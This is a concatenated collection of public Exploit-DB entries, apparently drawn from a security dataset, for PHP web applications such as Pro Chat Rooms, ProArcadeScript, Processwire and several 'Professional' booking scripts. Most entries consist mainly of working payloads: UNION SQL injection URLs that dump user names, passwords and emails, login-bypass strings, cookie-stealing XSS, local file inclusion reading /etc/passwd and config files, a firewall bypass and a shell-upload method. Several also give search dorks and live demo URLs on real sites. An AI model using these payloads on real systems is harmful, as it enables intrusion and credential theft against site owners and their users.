deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6612
Description: Pro Chat Rooms 3.0.3 - SQL Injection
Type: webapps
Platform: php
Date: 2008-09-28
Author: ~!Dok_tOR!~

Exploit:
Author: ~!Dok_tOR!~
Date found: 28.09.08
Product: Pro Chat Rooms
Version: 3.0.3
Price: $55
URL: www.prochatrooms.com
Vulnerability Class: SQL Injection
Condition: magic_quotes_gpc = Off

Exploit 1:

http://localhost/[installdir]/profiles/index.php?gud=-1'+union+select+1,concat_ws(0x3a,user_name,password,email),3,4,5,6,7,8+from+prochatrooms_users/*

Exploit 2:

http://localhost/[installdir]/profiles/admin.php?gud=-1'+union+select+1,concat_ws(0x3a,user_name,password,email),3,4,5,6,7,8+from+prochatrooms_users/*

# milw0rm.com [2008-09-28]
Exploit-DB #36348
Description: Pro Clan Manager 0.4.2 - SQL Injection
Type: webapps
Platform: php
Date: 2011-11-23
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/50794/info

Pro Clan Manager is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Pro Clan Manager 0.4.2 is vulnerable; other versions may also be affected.

notarealuser%00'+union+select+1;#
Exploit-DB #6877
Description: Pro Traffic One - 'poll_results.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-29
Author: Hussin X

Exploit:
|___________________________________________________
|  Pro Traffic One( poll_results.php id) Remote SQL Injection Vulnerability
|___________________________________________________
|--------------------   IQ-SecuritY  -------------------
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|___________________________________________________
|                                                                                                    
|
| script :  http://www.webmasterdownload.com/
|
| DorK   :  :)
|___________________________________________________

Exploit:
________


www.[target].com/Script/poll_results.php?id=-1+union+select+1,concat(version(),0x3e,user())--


Demo
________

http://www.free4newbies.com/pro-traffic/poll_results.php?id=-1+union+select+1,concat(version(),0x3e,user())--




____________________________( Greetz )_________________________________________
|
|  All members of the Forum IQ-SecuritY  WwW.IQ-ty.CoM | AnD TrYaG  WwW.TrYaG.CC
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|   Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | Sakab | G4N0K
|___________________________________________________________________________


                   Im IRAQi    |    Im TrYaGi

# milw0rm.com [2008-10-29]
Exploit-DB #47758
Description: PRO-7070 Hazır Profesyonel Web Sitesi 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2019-12-09
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: PRO-7070 Hazır Profesyonel Web Sitesi 1.0 - Authentication Bypass
# Date: 2019-12-08
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://www.websitem.biz/hazir-site/pro-7070-hazir-mobil-tablet-uyumlu-web-sitesi
# Tested on: Kali Linux
# Version: 1.0
# CVE: N/A

----- PoC: Authentication Bypass -----

Administration Panel: http://localhost/[PATH]/yonetim/pass.asp
Username: '=' 'or'
Password: '=' 'or'
Exploit-DB #30981
Description: PRO-Search 0.17 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-01-03
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/27126/info

PRO-Search is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PRO-Search 0.17 is vulnerable; other versions may also be affected.

http://www.example.com/templates/example_template.php?data[title]=%3C/title%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/templates/example_template.php?data[message]=%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/templates/example_template.php?data[table][1][item]=%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/templates/example_template.php?data[table][1][url]=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/templates/example_template.php?data[poweredby]=%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #6489
Description: ProActive CMS - 'template' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-09-18
Author: r45c4l

Exploit:
################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# --d3hydr8 -rsauron-baltazar -sinner_01 -C1c4Tr1Z - beenu     # 
#  ---QKrun1x-P47tr1ck - FeDeReR -MAGE -JeTFyrE                #
#                   and all darkc0de members                ---# 
################################################################ 
# 
# Author: r45c4l 
# 
# Home  : www.darkc0de.com 
# 
# Email : r45c4l@hotmail.com 
# 
# Share the c0de! 
# 
################################################################ 
# 
# Title: ProActive CMS LFI 

#
# Vendor: http://www.proactivecms.com/

# 
#
###########################################################
#
# d0rk:n/a
#
###########################################################
 
     POC:- http://www.site.com/index.php?template=../../../../../../../../../../../../../etc/passwd%00
	

     
     
     Live Demo: 
	http://www.proactivecms.com/index.php?template=../../../../../../../../../../../../../etc/passwd%00

     

###########################################################
#
#  Bug discovered : 18 Sep.2008
###########################################################

# milw0rm.com [2008-09-18]
Exploit-DB #33888
Description: ProArcadeScript - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-04-27
Author: Sid3^effects

Exploit:
source: https://www.securityfocus.com/bid/39749/info

ProArcadeScript is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/search.php?searchstr= [XSS]
Exploit-DB #6486
Description: ProArcadeScript 1.3 - 'random' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-18
Author: SuNHouSe2

Exploit:
             /************************************************************************/
             /*                                                                      */
             /*                          ProArcadeScript v1.3                        */
             /*                                                                      */
             /*                   Remote SQL Injection Vulnerability                 */
             /*                                                                      */
             /*                                                                      */
             /************************************************************************/
             /                                                                        /


 [~]AUTHOR          : SuNHouSe2 [ALGERIAN HaCkEr]

 [~]HOME            : http://www.snakespc.com                    

 [~]VERSION         : Tested on >>> ProArcadeScript v1.3

 [~]BUY SCRIPT      : http://www.proarcadescript.com  >>> Price : 59.01 USD

 [~]EXPLOIT         : 

                     http://127.0.0.1/?random=-2 UNION SELECT 1,2,3,concat(username,char(58),password,char(58),email),5+FROM+pas_users--

                

                             /////////////////////////////////////////////////////////////////////////////////////
            
                            ////////        Special ThanX : His0k4,& ALL Snakespc.com Members       ////////////
                           ////////          << GOOD RAMADANE FOR ALL MUSLIMS In THE World >>      ////////////

                          ////////////////////////////////////////////////////////////////////////////////////
                                        
                                               -=-=-=-= SuNHouSe2@yahoo.com =-=-=-

# milw0rm.com [2008-09-18]
Exploit-DB #11080
Description: ProArcadeScript to Game - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-10
Author: Err0R

Exploit:
# Software Link: proarcadescript.com
# Version: N/A

+/=============================================\+
# [+] Title : ProArcadeScript to Game (game) SQL Injection Vulnerability
# [+] site s.p : proarcadescript.com
# [+] Author : Err0R
# [+] Email : A5q(AT)HoTMaIL(dot)com
# [+] Site : www.sa-hacker.com/vb
+\=============================================/+

===============================================
DorK : intext:'Powered by ProArcadeScript ' inurl:'game.php?id='
===============================================
Exploit : You Come the Inject !
Demo :
http://server/games/game.php?id=-999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
============================================
.,’,..,’,..,’,..,’,..,’,..,’,..,’,..,’,..,’,..,’,..,’,..,’,.
Thanks to Allah
and
Good Luck
.,’,..,’,..,’,..,’,..,’,..,’,..,’,..,’,..,’,..,’,..,’,..,’,.
============================================
.,’,..,’,..,’,..,’,..,’,..,’,..,’,..,’,..,’,..,’,..,’,..,’,..,’,.
GreeTz To :
&#1607;&#1578;&#1604;&#1585; &#1575;&#1604;&#1582;&#1575;&#1604;&#1583;&#1610; , &#1601;&#1578;&#1609; &#1575;&#1604;&#1582;&#1601;&#1580;&#1610; ,Pepsi,Wlhaan,Dr.DH,Osama
,,,,,,,,,,and All Muslims HaCkEr :P
.,’,..,’,..,’,..,’,..,’,..,’,..,’,..,’,..,’,..,’,..,’,..,’,..,’,.
============================================
Exploit-DB #48986
Description: Processwire CMS 2.4.0 - 'download' Local File Inclusion
Type: webapps
Platform: php
Date: 2020-11-04
Author: Y1LD1R1M

Exploit:
# Exploit Title: [Local File Inclusion Processwire CMS 2.4.0]
# Vulnerability Type: Unauthenticated LFI
# Date: [03.11.2020]
# Exploit Author: [Y1LD1R1M]
# Type: [WEBAPPS]
# Platform: [PHP]
# Vendor Homepage: [https://processwire.com/]
# Version: [2.4.0]
# Tested on: [Kali Linux]


** Description **

Local File Inclusion in Processwire CMS 2.4.0 allows to retrieve arbitrary files via the download parameter to index.php By providing a specially crafted path to the vulnerable parameter, a remote attacker can retrieve the contents of sensitive files on the local system.

** Proof of Concept **

http://URL/index.php?download=/etc/passwd

http://URL/index.php?download=../config.php
Exploit-DB #7368
Description: Product Sale Framework 0.1b - SQL Injection
Type: webapps
Platform: php
Date: 2008-12-07
Author: b3hz4d

Exploit:
        +++++++++++++++++++++++In The Name Of Allah+++++++++++++++++++++++++++
        +                                                                    +
        +         Product Sale Framework sql injection Vulnerability         +
        +                                                                    +
        +                      Discovered by b3hz4d                          +
        +                                                                    +
        +                      WwW.DeltaHacking.Net                          +
        +                                                                    +
        +                                                                    +
        +                                                                    +
        ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
                                  

                              APA Center of Yazd University   
                                 (https://www.ircert.cc)    

		
AUTHOR : b3hz4d (Seyed Behzad Shaghasemi)
DATE   : 06 Dec 2008
SITE   : WwW.DeltaHacking.Net
CONTACT: behzad_sh_66@yahoo.com

#####################################################

APPLICATION   : Product Sale Framework v0.1 beta
DOWNLOAD(free): http://www.productsaleframework.com/downloads/psf.zip
VENDOR        : http://www.productsaleframework.com
DEMO (links)  : http://www.productsaleframework.com

#####################################################


[+] vuln    : 
              customer.forumtopic.php
              
              vulnerability is in froum.all demo link(Admin demo,Affiliate demo,Customer demo) is here:
             
              http://www.productsaleframework.com/

[+] Exploit : 
              Admin Username and Password:

              http://www.kalptarudemos.com/demo/psf/customer/customer.forumtopic.php?forum_topic_id=-1 union select concat(username,0x3a,password),2,3,4,5,6 from psf_config_tb
    
               
##########################################################################################################

# Greetings: str0ke, Dr.Trojan, Cru3l.b0y, l0pht and all member in DeltaHacking.Net & Snoop-Security.Com #

##########################################################################################################

# milw0rm.com [2008-12-07]
Exploit-DB #33002
Description: Profense 2.2.20/2.4.2 - Web Application Firewall Security Bypass
Type: webapps
Platform: php
Date: 2009-05-20
Author: EnableSecurity

Exploit:
source: https://www.securityfocus.com/bid/35053/info

Profense Web Application Firewall is prone to multiple security-bypass vulnerabilities.

An attacker can exploit these issues to bypass certain security restrictions and perform various web-application attacks.

Versions *prior to* the following are vulnerable:

Profense 2.4.4
Profense 2.2.22 

http://www.example.com/phptest/xss.php?var=%3CEvil%20script%20goes%20here%3E=%0AByPass
http://www.example.com/phptest/xss.php?var=%3Cscript%3Ealert(document.cookie)%3C/script%20ByPass%3E
Exploit-DB #41735
Description: Professional Bus Booking Script - 'hid_Busid' SQL Injection
Type: webapps
Platform: php
Date: 2017-03-27
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Professional Bus Booking Script - SQL Injection
# Google Dork: N/A
# Date: 27.03.2017
# Vendor Homepage: http://travelbookingscript.com/
# Software: http://travelbookingscript.com/professional-bus-booking-script.html
# Demo: http://travelbookingscript.com/demo/professional/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/available_seat.php?hid_Busid=[SQL]
# # # # #
Exploit-DB #39113
Description: Professional Designer E-Store - 'id' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2014-03-08
Author: Nawaf Alkeraithe

Exploit:
source: https://www.securityfocus.com/bid/66100/info

E-Store is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

E-Store 1.0 and 2.0 are vulnerable; other versions may also be affected. 

http://www.example.com/page.php?id=[SQL Injection]

http://www.example.com/news.php?id=[SQL Injection]
Exploit-DB #43870
Description: Professional Local Directory Script 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2018-01-24
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Professional Local Directory Script 1.0 - SQL Injection
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://www.eihitech.com/
# Software Link: http://www.eihitech.com/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5973
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/sellers_subcategories.php?IndustryID=[SQL]
# 
# -105++/*!08888uNiOn*/(/*!08888SelECt*/+0x[PII_REDACTED]313239,0x283229,0x283329,0x283429,(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),0x283629,0x283729)--+-
# 
# 2)
# http://localhost/[PATH]/suppliers.php?IndustryID=[SQL]&CategoryID=[SQL]
# 
# # # # #
Exploit-DB #42641
Description: Professional Service Booking 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-09
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Professional Service Booking Software 1.0 - SQL Injection
# Dork: N/A
# Date: 09.09.2017
# Vendor Homepage: http://scriptzee.com/
# Software Link: http://scriptzee.com/best-softwares/professional-service-booking-engine
# Demo: http://professionalservice.scriptzee.com/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept:
# 
# http://localhost/[PATH]/content.php?page=[SQL]
# 
# -7+/*!50000UniOn*/+/*!50000SelECt*/+0x496873616e2053656e63616e,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))--+---+-
# 
# http://localhost/[PATH]/best_pro_details.php?service_id=[SQL]
# 
# -54'++/*!50000UNION*/(/*!50000SELECT*/+0x283129,0x283229,0x283329,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),0x283529,0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,0x28313429,0x28313529,0x28313629,0x28313729,0x28313829,0x28313929,0x28323029,0x28323129,0x28323229,0x28323329,0x28323429,0x28323529,0x28323629,0x28323729,0x28323829,0x28323929)--+-
# 
# http://localhost/[PATH]/alllikes.php?service_id=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #41058
Description: Professional Service Booking Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: Admin Login Bypass & SQLi
# Date: 13.01.2017
# Vendor Homepage: http://scriptfirm.com/
# Script Name: Professional Service Booking Script
# Script Buy Now: http://scriptfirm.com/professional-service-booking-engine
# Author: İhsan Şencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# http://localhost/[PATH]/admin/ and set Username and Password to 'or''=' and hit enter.
# SQL Injection/Exploit :
# http://localhost/[PATH]/best_pro_details.php?service_id=[SQL]
# http://localhost/[PATH]/content.php?page=[SQL]
# E.t.c.... Don't look for nothing there are also security vulnerabilities in other files as well.
# # # # #
Exploit-DB #43294
Description: Professional Service Script 1.0 - 'service-list?city' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Professional Service Script 1.0 - SQL Injection
# Dork: N/A
# Date: 09.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/professional-service-script/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/service-list?city=[SQL]&main_search=
# 
# '+/*!13337UNION*/+/*!13337SELECT*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52--+-
# 
# http://server/service-list?city='+/*!13337UNION*/+/*!13337SELECT*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52--+-&main_search=
# 
# # # # #
Exploit-DB #12005
Description: Profi Einzelgebots Auktions System - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-04-01
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : Profi Einzelgebots Auktions System <= Blind SQL Injection Vulnerability
+Autor : Easy Laster
+Date   : 01.04.2010
+Script  : Profi Einzelgebots Auktions System
+Price : 399.99€
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : http://www.site.com/auktion/auktion_text.php?id_auk=

#password
+Exploitable   : http://www.site.com/auktion/auktion_text.php?id_auk=1+and+1=1+and+
ascii(substring((SELECT password FROM fh_user+WHERE+iduser=1 LIMIT 0,1),1,1))>1


-----------------------------------------------------------------------------------------
Exploit-DB #4586
Description: ProfileCMS 1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2007-10-29
Author: r00t@zapak.com

Exploit:
ProfileCMS v1.0 Shell Upload Exploit

Demo : http://slrate.com/

You can direct upload PHP shell instead of image while creating profile  at this script, For example http://slrate.com/profiles here you can direct upload shell instead of images.

Dorks :

"Total Generators & Widgets"
"Powered By ProfileCMS v1.0"

# milw0rm.com [2007-10-29]